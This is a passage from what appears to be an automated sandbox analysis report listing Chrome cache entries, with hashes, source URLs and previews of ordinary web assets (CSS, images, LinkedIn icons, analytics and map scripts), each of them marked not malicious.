Preview:	/! For license information please see authwall-ubba.js.LICENSE.txt /.!function e(t){var n={},r={},i=ReferenceError,o=TypeError,a=Object,s=RegExp,c=Number,l=String,A=Array,d=a.bind,u=a.call,h=u.bind(d,u),g=a.apply,f=h(g),p=[].push,m=[].pop,v=[].slice,B=[].splice,w=[].join,E=[].map,C=h(p),Q=h(v),y=(h(w),h(E),{}.hasOwnProperty),b=(h(y),JSON.stringify),I=a.getOwnPropertyDescriptor,k=a.defineProperty,x=l.fromCharCode,T=Math.min,D=Math.floor,S=a.create,R="".indexOf,F="".charAt,O=h(R),_=h(F),M="function"==typeof Uint8Array?Uint8Array:A,N=[i,o,a,s,c,l,A,d,u,g,p,m,v,B,w,E,y,b,I,k,x,T,D,S,R,F,M],L=["prototype","rqnSrxC0cXzbG819smR0x0mQShm3b1HD","3r2q4TKADxC6dw","b0U","ArrayBuffer","oAFWWIEEzw","n--DhmDsRDqvV5o","9k9OCq0BhdUNyxOwS8GqAJ9blcR5ip0Z98FtXs4qRczOx5dEtjaZ4GKiKRxAdqF2g_F27wDpaG_JwdWowc3aiA7Z76-gU0ZpSboNyBWbTaJWSPuYGxYkMklKVwkhwyy5v63LUPWDbmno7NH1onqvf6At5RGPLRTC3p_mJW1xByf3HQllzAyQz5Ic-RN15PM0StER7uBLshB2GWkUvCGmixCCKr_qjGsrQKYDg9h2wB7LikAQD7vTVHLSnkYyh5talF4vl-vLPLVSEeHmJEK30B7nHdGv6h

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52540)
Category:	downloaded
Size (bytes):	52541
Entropy (8bit):	5.067188743518011
Encrypted:	false
SSDEEP:	384:HkFnPLbYgWU5UT6RIVg+U4uBTXpEF5mg3bSRXn9pFFSUQXjqrCUnlFEyYC3OXI:05EH3y39LFPQZUnlF
MD5:	E1A1C4DDC0C3740CF8E006B362C8AE42
SHA1:	4C9A7BF1CD7C2B7EA8ECC78067C3D7182FBF123A
SHA-256:	E1C88EDEB08C43AFD3D28424FAE8FA9382165096CD919C487F5BBD6C70A0D416
SHA-512:	15D58B2823124BB7BE059CEA3D6308A99AAF3B0FE2C9BCF09D28300AA1F20C3CD2A4FD583C7F41BA3D8BEB1CCF5A5D1A1BC75F42EA8A453D61EEDED58240246F
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/styles.880d251ed8703c54.css
Preview:	@import"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;700&display=swap";.mat-h1,.mat-headline,.mat-typography .mat-h1,.mat-typography .mat-headline,.mat-typography h1{font-size:24px;font-weight:400;line-height:32px;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h2,.mat-title,.mat-typography .mat-h2,.mat-typography .mat-title,.mat-typography h2{font-size:20px;font-weight:500;line-height:32px;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h3,.mat-subheading-2,.mat-typography .mat-h3,.mat-typography .mat-subheading-2,.mat-typography h3{font-size:16px;font-weight:400;line-height:28px;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h4,.mat-subheading-1,.mat-typography .mat-h4,.mat-typography .mat-subheading-1,.mat-typography h4{font-size:15px;font-weight:400;line-height:24px;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=1, copyright=Copyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission.], baseline, precision 8, 560x292, components 3
Category:	dropped
Size (bytes):	157844
Entropy (8bit):	7.980209213976073
Encrypted:	false
SSDEEP:	3072:T58lLszkP3bHzCLtnzQvub0zmiB2IYiKxe7T2TvoQnGEBvNCASsptnn5:CLPzCzQU01h1WbtSet5
MD5:	E202972EA6AC7C40AD11E91F4A28A298
SHA1:	AE3FC6A63A814F5736BCA0B7F205B22D849899F8
SHA-256:	C691CB374E85CDB13954A3B6286BAAF6F06D37A2B9AD472E32679B1D374E584D
SHA-512:	86821E6740EF34C06214E12495ECDBA20E71981FAC7A7F3686037887C16EF5D4D919A49E6065AC97DDF81BE8125A661F3B07CA8BD1587DA80F30E06E949E6738
Malicious:	false
Reputation:	low
Preview:	.....zExif..II*...........V...........Copyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission........Ducky.......d.....khttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement" xmpMM:DocumentID="xmp.did:BEE55430DAF511EEAC1FA9F9E95F29B7" xmpMM:InstanceID="xmp.iid:BEE5542FDAF511EEAC1FA9F9E95F29B7" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	107603
Entropy (8bit):	5.313039672281459
Encrypted:	false
SSDEEP:	3072:mG3eqCrZddAEpuUPURq/dloqBCd/cYmpBhsmS6kHqYV:A/Z7PO/1AaqYV
MD5:	BAFB47550083FB234EEF9C5BAD9FFEEB
SHA1:	1C5A7E5B30EDA57A81F185A5347414BB35CCF47B
SHA-256:	BC18487E2A4239C1D06495F98DCDF5C4F8631FCACE4667B4CD458C294E223EDF
SHA-512:	FDC6FDE954C0AA002D5D7587910E097D6BDA2AFC208B8BBF34ABDD2EEB8F0F485B9CDDC69E4E59DEA83525092668A93728675B84592B7710B364B858B640D1B8
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/cornerstone/assets/js/site/cs-classic.7.4.16.js?ver=7.4.16
Preview:	(()=>{var Ii=Object.create;var ue=Object.defineProperty;var Pi=Object.getOwnPropertyDescriptor;var Mi=Object.getOwnPropertyNames;var Hi=Object.getPrototypeOf,zi=Object.prototype.hasOwnProperty;var $i=t=>ue(t,"__esModule",{value:!0});var Ri=(t,e)=>()=>(e\|\|t((e={exports:{}}).exports,e),e.exports),Qe=(t,e)=>{for(var n in e)ue(t,n,{get:e[n],enumerable:!0})},_i=(t,e,n,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of Mi(e))!zi.call(t,r)&&(n\|\|r!=="default")&&ue(t,r,{get:()=>e[r],enumerable:!(o=Pi(e,r))\|\|o.enumerable});return t},qi=(t,e)=>_i($i(ue(t!=null?Ii(Hi(t)):{},"default",!e&&t&&t.__esModule?{get:()=>t.default,enumerable:!0}:{value:t,enumerable:!0})),t);var wo=Ri(()=>{Array.prototype.flat\|\|Object.defineProperty(Array.prototype,"flat",{configurable:!0,value:function t(){var e=isNaN(arguments[0])?1:Number(arguments[0]);return e?Array.prototype.reduce.call(this,function(n,o){return Array.isArray(o)?n.push.apply(n,t.call(o,e-1)):n.push(o),n},[]):Array.prototype.slice.call(thi

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	508
Entropy (8bit):	4.950401224655806
Encrypted:	false
SSDEEP:	12:t41rYWgIGOn08DH/Q0djQmlkQR62eJHxD8QiWrgx07OCI:t41raIrkkkS7Y2YHxD8Q1y07zI
MD5:	06F82B404C7BCBAEA7853ECC03841D50
SHA1:	265EE17E72272C7633F325B0ECEA6E477D68D23D
SHA-256:	A8083A0D23B213CDF40FF9830F284A936E6A4A36893F45ACBCBD81F87EDBC51E
SHA-512:	B021A4FA173C4D009907148867DB5A83C710185E34DF92D550E197E4CC6929F1E3A0466F003B6EA3D2505EF31EA2CB027DD5D4F9199D936CE7D74E768B9AEC1D
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 21 21" id="linkedin-bug-blue-xsmall" aria-hidden="true" role="none" data-supported-dps="21x21" width="21" height="21">. <g>. <path d="M19.5 0h-18A1.5 1.5 0 000 1.5v18A1.5 1.5 0 001.5 21h18a1.5 1.5 0 001.5-1.5v-18A1.5 1.5 0 0019.5 0zM6 18H3V8h3zM4.5 6.25A1.75 1.75 0 116.25 4.5 1.75 1.75 0 014.5 6.25zM18 18h-3v-5.09c0-1.62-.74-2.44-1.84-2.44A2.32 2.32 0 0011 12.91V18H8V8h3v1.39a4 4 0 013.3-1.63c1.77 0 3.66.93 3.66 4z" fill="#0a66c2"/>. </g>.</svg>.

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (562)
Category:	downloaded
Size (bytes):	186167
Entropy (8bit):	5.6102840676244305
Encrypted:	false
SSDEEP:	3072:60gm0lFv1Dblw4ajJdZ5todgCmcI9PDdYVJr4qaHpr4bnKOIKPxolOdyWm+6Hx0M:60gm0lFv1DblZajJdDtodg7cI9PDOVaT
MD5:	6CC4537F5B0FB2554830940D2EF390C1
SHA1:	DEAE273E7DCA2C26FFB13CD11C32280462FC351E
SHA-256:	C2F957BDAB42C74B2DFA9F67E6FB1866EDB41034F319D84CA185E5C0F1985F58
SHA-512:	188CEE01934A4B3AF30A336776226A817F8641A225C206CF2358BC23095CEB89151787C58FD9E6271C676BF86310FEE0D9BB96C73F0A8EEE840D37798EA10277
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/util.js
Preview:	google.maps.__gjsload__('util', function(_){/.. SPDX-License-Identifier: MIT./.var xna,zna,Bna,Cna,ID,JD,Dna,Ena,Gna,PD,QD,RD,VD,Hna,XD,Ina,$D,bE,cE,dE,lE,Lna,Mna,Nna,Ona,Qna,tE,Sna,Una,sE,Vna,yE,Xna,zE,Zna,AE,aoa,$na,boa,coa,doa,eoa,foa,goa,hoa,ioa,joa,koa,loa,moa,noa,ooa,poa,qoa,roa,soa,toa,EE,woa,GE,xoa,yoa,zoa,Aoa,Boa,Coa,Doa,Eoa,Foa,Goa,Ioa,Koa,Moa,Ooa,Qoa,Soa,Uoa,Woa,Yoa,Zoa,$oa,apa,bpa,cpa,dpa,epa,HE,fpa,gpa,hpa,ipa,jpa,kpa,mpa,JE,KE,npa,opa,ppa,qpa,rpa,spa,tpa,upa,vpa,wpa,LE,xpa,ME,ypa,zpa,Apa,Bpa,Cpa,Dpa,Epa,NE,Fpa,OE,Gpa,Hpa,Ipa,Jpa,Kpa,Lpa,Mpa,Npa,Opa,Ppa,Qpa,Rpa,.Spa,Tpa,Upa,Vpa,Wpa,Xpa,Zpa,$pa,aqa,cqa,dqa,eqa,fqa,gqa,hqa,iqa,UE,kqa,lqa,pqa,qqa,sqa,bF,cF,vqa,wqa,xqa,fF,gF,hF,iF,jF,Cqa,nF,pF,qF,wF,Fqa,Gqa,Hqa,Iqa,Lqa,Pqa,Qqa,OF,Uqa,RF,SF,Zqa,$qa,ara,bra,dra,era,fra,gra,WF,ira,ora,cG,rra,qra,dG,jG,oG,ura,vra,wra,yra,zra,FG,Bra,GG,Cra,Dra,HG,Fra,Era,IG,Nra,Ora,Hra,Kra,Qra,Sra,Wra,Ura,Xra,Vra,JG,KG,$ra,asa,LG,MG,bsa,dsa,OG,PG,csa,fsa,RG,SG,gsa,TG,hsa,VG,WG,isa,XG,YG,jsa,ZG,ps

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	downloaded
Size (bytes):	5810
Entropy (8bit):	7.79987782098942
Encrypted:	false
SSDEEP:	96:8Ih0cCeuxCSI9uaSUznD7134p5WiksBfW8LBV4xRdOWoJCvWMIRgIlE:9h/uhI9uMydDfJv4pPvIRgIlE
MD5:	AABD1B3D72A90B9CDA490891169F7FB9
SHA1:	9B273EE8A71A499B56DF410C0E919B0B6C3F9ABE
SHA-256:	0FE05E094D752F851F068A57B071925256D07B2BB0808119A338E010D52E64D6
SHA-512:	E80E355C7A9CC68A6EC264955D3156A66798537934D0FA8D1E703C0A1B332AA43FC066A570E6DBF2D9CFAC39A872C9DC76BDAB0415DCB02F7E1069605CBAC8D7
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=dst-jpg_p200x200&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfDmv0qW8U6qLukndvPVMqWe13O3GhEBaFBMn4aN1Iv2Eg&oe=663FD48A
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..UcUG1fI9PWzAFeW7KbM-..(.bFBMD0a000a89010000bd03000082060000c2070000880800000c0c00005a0f00001210000019110000d8110000b2160000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...................................................................................J70. ...H..70.....<......m..,z...Hl./]........}[.....kw.}.....C&p...6.../.K.Jw.n.r..D..........X..@..2g.. ..N......o..U.U.4.#?J1Z^4.g._.......H...L..Y....../].......CO6......w ...=R[..._>..@..2g..8v\|fM5......,{..\|..v......F....!......F....m.c..~.fH.6...E..N..x...c.;....f....M.......mkW#......bx..(za.X.\")vD=..i.........GnV.<\|.].P..w..M.f../.W..f;.._.1..M~.....!.H.......zx.._P....."..[E.\|.+{...}.....S_...<..........UzG...}.X..a........)..........o.p................+...........................0.. 35.!24.#@P.............4.S..&1KY..ju..f.E9M..b.E....

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3248
Entropy (8bit):	4.924135721548394
Encrypted:	false
SSDEEP:	96:xohZ1PDuVHoSNYEyt9RgHbwF8QHwFgalkORVuT:x+pqY1t9R9FlHEgikOE
MD5:	87D00071EB22B10E057E3B4A50EB64B3
SHA1:	1BF0AB4A639B15E69DD3D17EF606A87B265E7827
SHA-256:	8D1F6E9A7D8835C05275EACFC71DB1DD3F3FAA53F775EB9362E17C7FD003544D
SHA-512:	2AFFE00F60D9F09609541FF5B80932D84A7D0BB99423D383F5208E4D6B7A123FE11A925A67BDDCA0CF90BA522DC7D876A7E1A484FC002110379DF79E137B7A3A
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/GetTimeZone.js
Preview:	... .. function CheckPassword(sender, args).. { .. var textBox = document.getElementById(passwordID);.. .. if(textBox.value=="").. args.IsValid = false;.. else.. args.IsValid = true;.. .. .. .. return;.. }.. .. .. .. .. function Get_Cookie( check_name ) {...// first we'll split this cookie up into name/value pairs...// note: document.cookie only returns name=value, not the other components...var a_all_cookies = document.cookie.split( ';' );...var a_temp_cookie = '';...var cookie_name = '';...var cookie_value = '';...var b_cookie_found = false; // set boolean t/f default f......for ( i = 0; i < a_all_cookies.length; i++ )...{....// now we'll split apart each name=value pair....a_temp_cookie = a_all_cookies[i].split( '=' );............// and trim left/right whitespace while we're at it....cookie_name = a_temp_cookie[0].replace(/^\s+\|\s+$/g, '');.......// if the extract

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2958
Entropy (8bit):	4.703292730002049
Encrypted:	false
SSDEEP:	48:2h3QrgWatGCNnAYSJcsSUEDRrp+LuQmPnxkvJlsH/7Lls5aHLvJjW6:MgrgZICNhaczrp+LuQmfxceDLe5aLv5j
MD5:	8E6F25F8189065407452B8B0C00426A3
SHA1:	7485D46647A459789F6E7319CFEF6426A643244B
SHA-256:	B9E0A92C496B900728000DBF48AA623A7EB0468C5814A8BF60C69D6CDA05B149
SHA-512:	7680B1C45767DE2B9CC6975DF9AD1CD3A75A22E24283AAE21DB1185A873CAEF3ABB19A02BB4B96782C7DCE0A2858B2B6A341B2B94AE1FFDF9120109C6E71A867
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb
Preview:	<svg viewBox="0 0 84 21" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">. <g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">. <path d="M19.479,0 L1.583,0 C0.727,0 0,0.677 0,1.511 L0,19.488 C0,20.323 0.477,21 1.333,21 L19.229,21 C20.086,21 21,20.323 21,19.488 L21,1.511 C21,0.677 20.336,0 19.479,0" class="bug-text-color" transform="translate(63.000000, 0.000000)"></path>. <path d="M82.479,0 L64.583,0 C63.727,0 63,0.677 63,1.511 L63,19.488 C63,20.323 63.477,21 64.333,21 L82.229,21 C83.086,21 84,20.323 84,19.488 L84,1.511 C84,0.677 83.336,0 82.479,0 Z M71,8 L73.827,8 L73.827,9.441 L73.858,9.441 C74.289,8.664 75.562,7.875 77.136,7.875 C80.157,7.875 81,9.479 81,12.45 L81,18 L78,18 L78,12.997 C78,11.667 77.469,10.5 76.227,10.5 C74.719,10.5 74,11.521 74,13.197 L74,18 L71,18 L71,8 Z M66,18 L69,18 L69,8 L66,8 L66,18 Z M69.375,4.5 C69.375,5.536 68.536,6.375 67.5,6.375 C66.464,6.37

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	365102
Entropy (8bit):	5.061913329035243
Encrypted:	false
SSDEEP:	6144:rMeEszwKqIDecFlJq1R15F4P/045jNk0Cy1y6/muB:IebcKqIDecFlJq1R15mP8gCc
MD5:	3F7992571127B824D6BF08B704A9A2CB
SHA1:	850DFD2251E583D7A518B2FC013D8114293C2A71
SHA-256:	F61259B382B4D6FE34C3E156B6772A2A3F65296DC446370ADDBF29B128D7D1B1
SHA-512:	9A3D3171CAA20714AF47120F81433EDBD47053A7A1777609A03210E096C327B0C81B260874424F253B9286D6EDD03A964A86AEEAA1F06FCE406BCA634A4F524B
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/3ra71nd6rxi4u1cfuugikqq4r
Preview:	:root,.hue-web__artdeco-migration-scope--revert{--artdeco-reset-base-margin-zero: 0;--artdeco-reset-base-padding-zero: 0;--artdeco-reset-base-border-zero: 0;--artdeco-reset-base-font-size-hundred-percent: 100%;--artdeco-reset-base-font-weight-bold: bold;--artdeco-reset-base-font-style-italic: italic;--artdeco-reset-base-outline-zero: 0;--artdeco-reset-base-outline-none: none;--artdeco-reset-base-line-height-one: 1;--artdeco-reset-base-display-block: block;--artdeco-reset-base-list-style-none: none;--artdeco-reset-base-quotes-none: none;--artdeco-reset-base-vertical-align-baseline: baseline;--artdeco-reset-base-vertical-align-middle: middle;--artdeco-reset-base-background-transparent: transparent;--artdeco-reset-base-opacity-zero: 0;--artdeco-reset-base-top-zero: 0;--artdeco-reset-base-position-absolute: absolute;--artdeco-reset-base-text-decoration-none: none;--artdeco-reset-base-text-decoration-line-through: line-through;--artdeco-reset-base-border-collapse-collapse: collapse;--artdec

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (32751)
Category:	downloaded
Size (bytes):	38123
Entropy (8bit):	5.27658446925685
Encrypted:	false
SSDEEP:	768:65bM4cGl/QVmPSwg7DjgXoZ7TIcuqWS3toXiDGM8aFgvHf:RGlYVV7DjtZ7TIcuqWuuRaFgvf
MD5:	BB1018A999B6D02A919B3CBA7E99379A
SHA1:	965BE7424C66DBAF32134D8C09D0EC3C6ECE8C2F
SHA-256:	8CE0921F9728C141BBE87AC1CBEF972518ECCDF1447B49EF82985051F5BDB513
SHA-512:	A06511CFE487A0382038BFC7551912FBB33796D2CC2F435FD46475638EA814F67BEDAAC8DBF392658679C14625EFB75C1A39BEEFEBE3FC8EB94901C46434E923
Malicious:	false
Reputation:	low
URL:	https://cdn.calltrk.com/companies/522876257/62ae1f386a513fd442e6/12/swap.js
Preview:	!function(){"use strict";var Wrappers=function(){function e(){}return e.documentReferrer=function(){return document.referrer},e.documentURL=function(){return document.URL},e.documentCookie=function(e){return e?document.cookie=e:document.cookie},e.isDebug=function(){return Debug._isDebug\|\|!1},e.windowLocation=function(){return window.location},e}(),Debug=function(){function e(){}return e._debugEnabled=function(){return!!Wrappers.windowLocation().href.match(/crl?dbg/)},e.doneSwaps={},e.foundTargets=[],e}(),Polyfills=function(){function r(){}return r.jsonify=function(e){var t=Array.prototype.toJSON;if(!t)return JSON.stringify(e);delete Array.prototype.toJSON;var r=JSON.stringify(e);return Array.prototype.toJSON=t,r},r.contains=function(e,t){return-1<r.indexOf(e,t)},r.indexOf=function(e,t){if(e.indexOf)return e.indexOf(t);for(var r=0;r<e.length;r++)if(e[r]===t)return r;return-1},r.isArray=function(e){return Array.isArray?Array.isArray(e):"[object Array]"===Object.prototype.toString.call(e)

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 79444, version 331.524
Category:	downloaded
Size (bytes):	79444
Entropy (8bit):	7.997289683526594
Encrypted:	true
SSDEEP:	1536:ogXevisOzyu5r4HjEIe9vyJFdiTCHnegAZ64RPmF17k+GbpJ0VxZrtbz:oTvissyu5eb0ciORAZ64Qrk+0Mzbz
MD5:	B15DB15F746F29FFA02638CB455B8EC0
SHA1:	75A88815C47A249EADB5F0EDC1675957F860CCA7
SHA-256:	7F4D3FD0A705DBF8403298AAD91D5DE6972E6B5D536068EBA8B24954A5A0A8C7
SHA-512:	84E621AC534C416CF13880059D76CE842FA74BB433A274AA5D106ADBDA20354FA5ED751ED1D13D0C393D54CEB37FE8DBD2F653E4CB791E9F9D3D2A50A250B05F
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/webfonts/fa-solid-900.woff2
Preview:	wOF2......6T.......t..5..K......................?FFTM....`..V.....T..+.6.$........ ..+..l[.t.A..T..m..e....;....p.p+4\1.e.{..........[....\fs{o.EP"..K..U.3.21z...R.XT..l..t.j.2o...r{l[{Jj...r.&.)..S.....^...cZ.y....7....T.I.P.P.PN...k..9............s...........(Lk.y..."\|e.9ogI.[.u...+C...?MQ....Ph.9.qA.!......!#.f.......o..I..K8x;x......_.......{.?zR.<._...&L..$.k...[.t..p?...k.H..r.w9.........sD.pG.O..].=..:.@"Z.......k....>.$.h.&. .<v.P....=....}..L.g.-q.h..f....B\|/.c[".3D....$.d.N.@.@$.@... .B..(...!"w.A..XY..;....O,.{.W..z..Z..k%h.]:.....s....o.f...Cj..HcXy3g...&...g5XyV..~..sT.gk...a....<.....G.b5.~*.b...w[..C..DQ.(.N>S7..np...L..M.eeC[Z[.N[VZic]vu.m.[Y........Jm...v..J.t.......I........C(..G..W...B......'.yBz..O).[...LEQm...f{5R.`2U..yTE.[s..54..{...JhF.`p....Z.=..9.f....4....$..a...o.=.....L.2/.H.....6Z$.2%.,...;fC.{.j^o.E8...H#..X....J...C....@0lh..!V7?.o.T....j&W`...=..d...;.....E2.?g6........E....c..P..R.H.i....6u...n..h.. ...o....q....

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 40x40, components 3
Category:	dropped
Size (bytes):	1289
Entropy (8bit):	6.590147243040488
Encrypted:	false
SSDEEP:	24:4qLoilTNgg6c1spSYIdQSLedovc81+5vByj0dYlpFFwyvGs:uilhh6iWSaSIovc8M9Y0dYDFFB
MD5:	7AAFAB35550D057C0B7126298F25C77F
SHA1:	ABAD63D177579A28A3E2E2AB3F4ED153C8BB639E
SHA-256:	F348C9A4C3DF4EC14EF839812034256E888A83CE1EDC19042FA461A5C0AA743C
SHA-512:	F9EF768EB708C910235B88FF7D5F6F278C1491FFED44E8E749B55FFB215F5C2FA18729695CB4DEC520945EBDB92949B628A25C54F8B1584BE6119964C90775C5
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..UcUG1fI9PWzAFeW7KbM-..(.bFBMD0a000a85010000da0100003d02000075020000af02000059030000c8030000fa030000360400006d04000009050000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......(.(.."...............................................................................3.m.!.....\...n...;...`..4.1.....!.............................$1...........Mf6.m..M.N.I.../8,n.U.$@.m..".i$...$.\|u..Q.;...c5.+.............................1."a........?....b.Gc....]._(E."...........................a........?.=.D...5...'.........................!".#A12B.abr........?..N.....xb.x.Ze.66#.x.$...?f.._kqs.R<$1.P.......f.^..B...[9p.A4..[..+D8LD...o.....g.......(.V.(..lkV3..J..F..H"Xab.A.....!....................!1.AQaq............?!..9.o.#:..<<Q.v.....,/".4n........Cx?Z.i.......*..'..(.....9.L..}.4..It.6.}..W.i...).m....l..?................-..`............

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26799), with no line terminators
Category:	downloaded
Size (bytes):	26799
Entropy (8bit):	5.3067817421805525
Encrypted:	false
SSDEEP:	768:zqIoeEWvF7A5V+IlcNCakD1D0ljfpGaR/2snfTIr1:zqIojsE9D1DijxGahfG
MD5:	DB24F7789D201D5E38C135BE6F33F3C8
SHA1:	CB8D2CDEF228319A3B827AE9A4595B2C50D9A333
SHA-256:	BB5B47A6FE6F97EDC4218262358CF97F01177429B7213B9D6D94E5584778CD90
SHA-512:	953F377E5D68FF390BF36E9F28EE42CF41E5CFD4BF45F2F449C7D84DE380D83B9AC44224FAE3A3B28270FD98823610691DDAE113C7978924279EEA629B1B4007
Malicious:	false
Reputation:	low
URL:	https://platform.linkedin.com/litms/utag/seo-directory-frontend/utag.js?cb=1712867700000
Preview:	var utag_condload=!1;try{!function(){var t,e,a,o=(""+document.cookie).match("(^\|;\\s)utag_env_linkedin_seo-directory-frontend=(//tags.tiqcdn.com/utag/linkedin/[a-z0-9\\.-]{1,30}\\/[^\\s;]*)");if(o&&-1===o[2].indexOf("/prod/")){for(var n=o[2];-1!=n.indexOf("%");)n=decodeURIComponent(n);n=n.replace(/\.\./g,""),t=n,(a=(e=document).createElement("script")).language="javascript",a.type="text/javascript",a.src=t,e.getElementsByTagName("head")[0].appendChild(a),utag_condload=!0,__tealium_default_path="//platform.linkedin.com/litms/utag/seo-directory-frontend/"}}()}catch(t){}try{try{var landingPageUrl=sessionStorage.getItem("utagLandingPage");landingPageUrl&&sessionStorage.removeItem("utagLandingPage")}catch(t){console.log(t)}}catch(t){console.log(t)}if(void 0===utag&&!utag_condload){var utag={id:"linkedin.seo-directory-frontend",o:{},sender:{},send:{},rpt:{ts:{a:new Date}},dbi:[],db_log:[],loader:{q:[],lc:0,f:{},p:0,ol:0,wq:[],lq:[],bq:{},bk:{},rf:0,ri:0,rp:0,rq:[],ready_q:[],sendq:{pending:0

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	508
Entropy (8bit):	4.950401224655806
Encrypted:	false
SSDEEP:	12:t41rYWgIGOn08DH/Q0djQmlkQR62eJHxD8QiWrgx07OCI:t41raIrkkkS7Y2YHxD8Q1y07zI
MD5:	06F82B404C7BCBAEA7853ECC03841D50
SHA1:	265EE17E72272C7633F325B0ECEA6E477D68D23D
SHA-256:	A8083A0D23B213CDF40FF9830F284A936E6A4A36893F45ACBCBD81F87EDBC51E
SHA-512:	B021A4FA173C4D009907148867DB5A83C710185E34DF92D550E197E4CC6929F1E3A0466F003B6EA3D2505EF31EA2CB027DD5D4F9199D936CE7D74E768B9AEC1D
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/euqjj7tf5wvr33frd3x1jj9s
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 21 21" id="linkedin-bug-blue-xsmall" aria-hidden="true" role="none" data-supported-dps="21x21" width="21" height="21">. <g>. <path d="M19.5 0h-18A1.5 1.5 0 000 1.5v18A1.5 1.5 0 001.5 21h18a1.5 1.5 0 001.5-1.5v-18A1.5 1.5 0 0019.5 0zM6 18H3V8h3zM4.5 6.25A1.75 1.75 0 116.25 4.5 1.75 1.75 0 014.5 6.25zM18 18h-3v-5.09c0-1.62-.74-2.44-1.84-2.44A2.32 2.32 0 0011 12.91V18H8V8h3v1.39a4 4 0 013.3-1.63c1.77 0 3.66.93 3.66 4z" fill="#0a66c2"/>. </g>.</svg>.

Chrome Cache Entry: 509

Download File

